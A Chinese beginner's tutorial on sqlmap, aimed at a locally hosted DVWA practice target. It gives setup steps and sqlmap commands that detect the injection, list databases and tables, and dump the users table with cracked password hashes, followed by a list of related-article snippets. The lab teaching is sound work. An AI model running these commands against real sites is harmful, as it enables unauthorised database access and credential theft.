sqlmap 入门

前言

项目地址

sqlmap: https://github.com/sqlmapproject/sqlmap

DVWA: https://github.com/ethicalhack3r/DVWA

实验环境:Ubuntu 18.04 + sqlmap,CentOS + Docker + DVWA

工具介绍:sqlmap 是用来sql 注入的工具,DVWA 是圈内著名的web 安全测试平台,可以用来进行SQL 注入、文件上传漏洞、XSS 攻击等实验。在靶机CentOS 上,使用Docker 部署DVWA 平台,在测试机Ubuntu 上安装sqlmap

准备阶段

1、在CentOS 上安装Docker-CE

如果已经安装Docker 则可以跳过这一步,如果不愿意使用Docker,可以参考DVWA项目地址,手动下载资源文件部署平台

在CentOS上安装Docker:参考其他教程(还没写出来)

2、安装DVWA

由于Docker 安装之后默认的文件系统为layover2,而DVWA 在overlay2 上回遇到和mysql 相关的问题,因此官方推荐更换docker 使用文件系统。

此步我们使用第三方制作的DVWA,支持overlay2:

Docker Hub 地址:https://hub.docker.com/r/citizenstig/dvwa

安装步骤

# 获取镜像
docker pull docker pull citizenstig/dvwa # 新建容器
docker run -d -p 80:80 citizenstig/dvwa

访问CentOS 的主机地址,可以看到,除reCAPTCHA key 为Missing 红色外,其余状态均为绿色。点击Create/Reset Database按钮

3、配置DVWA

将DVWA 安全等级修改为Low

4、在Ubuntu 上安装sqlmap

直接使用apt 安装,建议使用国内软件源:

sudo apt install sqlmap

搞事阶段

1、访问CentOS 地址,进入DVWA 配置,使用用户名 admin,密码 password 登录

2、查看Cookis:

在我的电脑上,本次登录使用的cookie为:

PHPSESSID=ogar52uhrqgksvhb7sf5club92;security=low

3、DVWA 选择SQL Injection,在输入框内输入任意的测试内容,例如:happy:

可以看到URL 内出现了GET 传值的数据:?id=happy 这意味着可以尝试进行sql 注入

4、使用sqlmap

直接输入sqlmap 可以看到使用提示:

我们要以刚才发现的 ?id 为突破点,使用sqlmap 对DVWA 进行sql 注入测试:

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch

-u:URL 地址,其中IpAddress 为CentOS 的地址

--cookie:传入刚才登录的cookie,模拟登录(可以尝试不传入cookie 直接注入会发生什么)

--batch:使用默认选项

等待片刻后,sqlmap 给出了此次注入测试的结果:

代表的含义为:sqlmap 通过3704次测试后,找到了四种进行注入的方法(存在四种漏洞),分别为boolean-based blind, error-based, AND/OR time-based blind, UNION query,最后还给出了服务器使用的操作系统、web 引擎和MySQL 大致版本

5、偷看数据库

使用 --dbs 查看数据库:

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch --dbs

我们准备看一下dvwa 数据库中的表:

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa --tables

查看users 中的columns :

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users --columns

发现user 与password,查看这两列的内容:

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users -C "user,password" --dump

途中可以看到password 字段为md5 加密,sqlmap 开始爆破试图得到解密结果:

最终得到表内数据以及解密后的密码:

后续阶段

sqlmap 会将每次的注入结果存放在 ~/.sqlmap/out 文件夹内

sqlmap + DVWA 入门的更多相关文章

  1. sqlmap注入入门

    sqlmap注入入门 sqlmap的用法: ​ linux中: sqlmap [选项] ​ Windows中: python sqlmap [选项] 常用的参数及含义: 目标 ​ -d DIRECT ...

  2. sqlmap基础入门超详细教程

    前言: 总算进入了自己喜欢的行业. 要时刻记得当初自己说过的话, 不忘初心. Come on! 资料: 感谢超哥分享的干货..  sqlmap干货点击直达 学习环境: 本次学习使用的是kali集成的s ...

  3. Burpsuite Sqlmap Nmap入门总结

    burpsuite sqlmap nmap 简介 sqlmap基础 五种独特sql注入技术: 基于布尔类型的盲注 基于时间的盲注 基于报错注入 联合查询注入 堆查询注入 sqlmap入门 1.判断是否 ...

  4. sqlmap dvwa SQL Injection使用小记

    刚刚开始学习sql injection,初步使用sqlmap,使用 GET http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submi ...

  5. sqlmap:入门(手工注入)

    一. 联合查询注入union(less-1) 1. union操作符用于合并两个或多个select语句结果集: 2. union后的select语句必须拥有和最前的select语句拥有相同数量的字段, ...

  6. 2.3 sqlmap目录及结构

    2.3 sqlmap目录及结构Tips:此篇文章主要参考了<sqlmap从入门到精通>这本书中的相关具体细节,由于这本书作者完成的时间大概在2017年作用,所以我根据书中提到的信息再根据目 ...

  7. 安全工具推荐之sqlmap tamper&sqlmap api

    我发现总有一些人喜欢问sqlmap的tamper脚本,问完工具问参数,问完参数问脚本...... 你这个问题问的水平就很艺术,让我一时不知从何说起...... 说一下在sqlmap的使用过程中,个人了 ...

  8. 渗透测试之Web安全

    写在前面: 渗透测试包含但不限于Web安全 渗透测试并不相当于Web渗透 Web安全学习是入门渗透测试最容易的途径,门槛最低 Web安全入门: 基础入门 整体框架 SQL注入 XSS攻击 业务逻辑漏洞 ...

  9. 使用sqlmap注入DVWA的SQL Injection菜单

    1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...

随机推荐

  1. NSTimer、CADisplayLink、GCD 三种定时器的用法 —— 昉

    在软件开发过程中,我们常常需要在某个时间后执行某个方法,或者是按照某个周期一直执行某个方法.在这个时候,我们就需要用到定时器. 在iOS中有很多方法完成定时器的任务,例如 NSTimer.CADisp ...

  2. Linux系统安装tomcat9服务(含jdk的安装)

    使用虚拟机上CentOS8系统. 1.安装tomcat的依赖jdk版本11 将jdk11解压至相应目录: 设置环境变量: 末尾添加: 更新配置文件: 验证: 补充使用yum安装jdk的方式: 1)查看 ...

  3. Azure KeyVault(三)通过 Microsoft.Azure.KeyVault 类库在 .NET Core 上获取 Secrets

    一,引言 上一篇文章,我们介绍了 Azure Key Vault 在实际项目中的用途,Azure Key Vault 作为密钥管理的服务,我们可以很轻松的利用它创建和控制用于加密的密钥,和管理证书和机 ...

  4. Android SugarORM(3)

    Android Sugar ORM (3) Android Sugar ORM 查询 我们在此之前介绍了一些关于Sugar ORM的简单操作, 现在我们就查询来具体说一下 Sugar ORM中的fin ...

  5. NSSCTF-[SWPU 2020]找找吧

    下载附件得到一个rar的压缩包,解压是需要密码的,直接丢尽winhex(菜狗经验),在最下面可以看到一个KEY is 得到第一个压缩包的密码,解压第一个压缩包得到一个mp3文件和另一个rar压缩包,将 ...

  6. 内网安全之横向移动(冰蝎&&msf&&IPC$)

    1.冰蝎介绍 冰蝎是一款目前比较流行的Webshell管理工具,在2021年更新的2021.4.20 v3.0 Beta 9 版本中去除了动态密钥协商机制,采用预共享密钥,载荷全程无明文.因其优秀的加 ...

  7. 【C#基础概念】Ineterface 接口的设计原则

    接口设计方式 自顶向下 (如图所示),自底向上(发现类需要结构了就声明一个接口). 接口的作用 用来解耦.继承 接口的本质

  8. 如何在win server中更改服务器密码长度最小值

    转至:https://jingyan.baidu.com/article/3aed632e65c7843111809122.html windows server 2008是一种服务器的操作系统,有较 ...

  9. idea教程--使用maven创建web项目

    1.单击create new project 2.运行maven项目 在pom.xml文件中添加tomcat插件然后如下图运行;

  10. 反射、静态代理、动态代理(jdk、cglib)

    一.反射 反射在之前的文章中详细的解释过了,简单概括就是:可以动态的获取到一个类内部的所有的信息,动态的去创建对象和使用对象以及可以操作对象的属性和方法. 二.代理 首先解释一下代理:使用一个代理对象 ...